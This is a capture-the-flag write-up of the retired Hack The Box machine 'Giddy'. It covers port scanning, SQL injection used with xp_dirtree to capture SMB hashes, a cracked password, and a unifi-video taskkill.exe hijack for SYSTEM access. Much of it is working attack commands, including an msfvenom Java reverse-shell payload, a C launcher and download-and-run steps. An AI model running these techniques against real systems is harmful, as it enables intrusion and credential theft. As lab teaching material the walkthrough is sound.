This post documents the complete walkthrough of Giddy, a retired vulnerable VM created by lkys37en, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.


Giddy is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.4 ( at 2019-01-25 06:39:04 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 3389/tcp on
Discovered open port 80/tcp on
Discovered open port 5985/tcp on
Discovered open port 443/tcp on

masscan finds four open ports. Let’s do one better with nmap scanning the discovered ports.

80/tcp   open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
443/tcp  open  ssl/http      syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Issuer: commonName=PowerShellWebAccessTestWebSite
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-06-16T21:28:55
| Not valid after:  2018-09-14T21:28:55
| MD5:   78a7 4af5 3b09 c882 a149 f977 cf8f 1182
|_SHA-1: 8adc 3379 878a f13f 0154 406a 3ead d345 6967 6a23
|_ssl-date: 2019-01-25T06:47:01+00:00; 0s from scanner time.
| tls-alpn:
|   h2
|_  http/1.1
3389/tcp open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=Giddy
| Issuer: commonName=Giddy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-01-24T05:15:20
| Not valid after:  2019-07-26T05:15:20
| MD5:   73b8 be9f ec62 29fa fb43 3030 45a9 c773
|_SHA-1: 2640 7d3f 52c7 2a94 fdbc 373b 2c83 93ce bba1 992d
|_ssl-date: 2019-01-25T06:47:02+00:00; 0s from scanner time.
5985/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

It’s a Windows box alright. Check out the various services associated with Windows. And, it’s likely running PowerShell Web Access as seen in the self-signed certificate.

Directory/File Enumeration

I should probably start the enumeration with gobuster and DirBuster’s wordlist.

/remote (Status: 302)
/mvc (Status: 301)

I found two directories worth exploring further. This is how they look like.


My guess was correct—it’s really running PowerShell Web Access. It delivers a PowerShell session right in the browser if you have the right credentials.


Another directory houses a ASP.NET web application. I smell SQL injection…

SQL Injection

Long story short, this is an example application from OWASP Top 10 Injection exercises and it’s vulnerable to all sorts of SQL injection techniques.


Using the ORDER BY technique, I was able to determine the UNION columns to be 25. Armed with that insight, we can inject the following query to determine the current user.


As you can see from above, the current user is giddy\stacy. We can actually use an undocumented stored procedure (xp_dirtree) to steal SMB credentials. This technique is used by threat actors in the wild to harvest SMB credentials in combination with watering-hole attack.

Here’s how.

Harvesting SMB Credentials

On your attacking machine, assuming it’s Kali Linux, you can set up a SMB server to capture SMB credentials using Metasploit’s auxiliary module auxiliary/server/capture/smb like so.


Execute the undocumented stored procedure from the web application like so.; EXEC master.sys.xp_dirtree '\\',1,1


The moment the request is sent, the SMB credentials are captured.


We can now send the captured NT hashes for offline cracking by John the Ripper.


So, Stacy’s password is xNnWo6272k7x.

PowerShell Web Access

Armed with Stacy’s password, I think it’s time to get ourselves a PowerShell.



The file user.txt is located at Stacy’s Desktop.


Privilege Escalation

During enumeration of stacy’s account, I notice a file unifivideo at the Stacy’s Documents.


It turns out that this is the key to privilege escalation as per EDB-ID 43390. According to the vulnerability,

The default permissions on the C:\ProgramData\unifi-video folder are inherited from C:\ProgramData and are not explicitly overridden, which allows all users, even unprivileged ones, to append and write files to the application directory.

Upon start and stop of the service, it tries to load and execute the file at C:\ProgramData\unifi-video\taskkill.exe. However this file does not exist in the application directory by default at all.

By copying a malicious taskkill.exe to C:\ProgramData\unifi-video\ as an unprivileged user, it is therefore possible to escalate privileges and execute arbitrary code as NT AUTHORITY/SYSTEM.

Indeed, Stacy can write to the folder.


Stacy should be able to start or stop the service either, otherwise the file unifivideo wouldn’t be there.


Let’s do this! First of all, if the service is running, a Get-Process will reveal that avService is running.


Next, let’s stop the service with Stop-Service.


You’ll notice that avservice.exe is no longer running. And, because I love to get me a shell, I’ll attempt to spawn a reverse shell with Java no less. I’d noticed previously Java Runtime Environment (JRE) is available.

The following takes place on my attacking machine.

I’ll use msfvenom to generate the reverse shell.

# msfvenom -p java/shell_reverse_tcp LHOST= LPORT=1234 -f jar -o rev.jar
Payload size: 7548 bytes
Final size of jar file: 7548 bytes
Saved as: rev.jar

Next, I’ll cross-compile a MZ executable that runs the following command java -jar rev.jar. Guess what’s the file name of the executable? If you guess taskkill.exe, ten points for Gryffindor!

#include <stdlib.h>

int main() {
  system("java -jar rev.jar");

Cross-compile with MingW.

# x86_64-w64-mingw32-gcc -o taskkill.exe taskkill.c

Finally, host all the above with Python’s SimpleHTTPServer module.

# python -m SimpleHTTPServer 80

Back to the PowerShell Web Access console.

Download our taskkill.exe and rev.jar to \ProgramData\unifi-video with Invoke-WebRequest.


Start the service with Start-Service and wait for your SYSTEM shell at your nc listener…


The file root.txt is at \Users\Administrator\Desktop.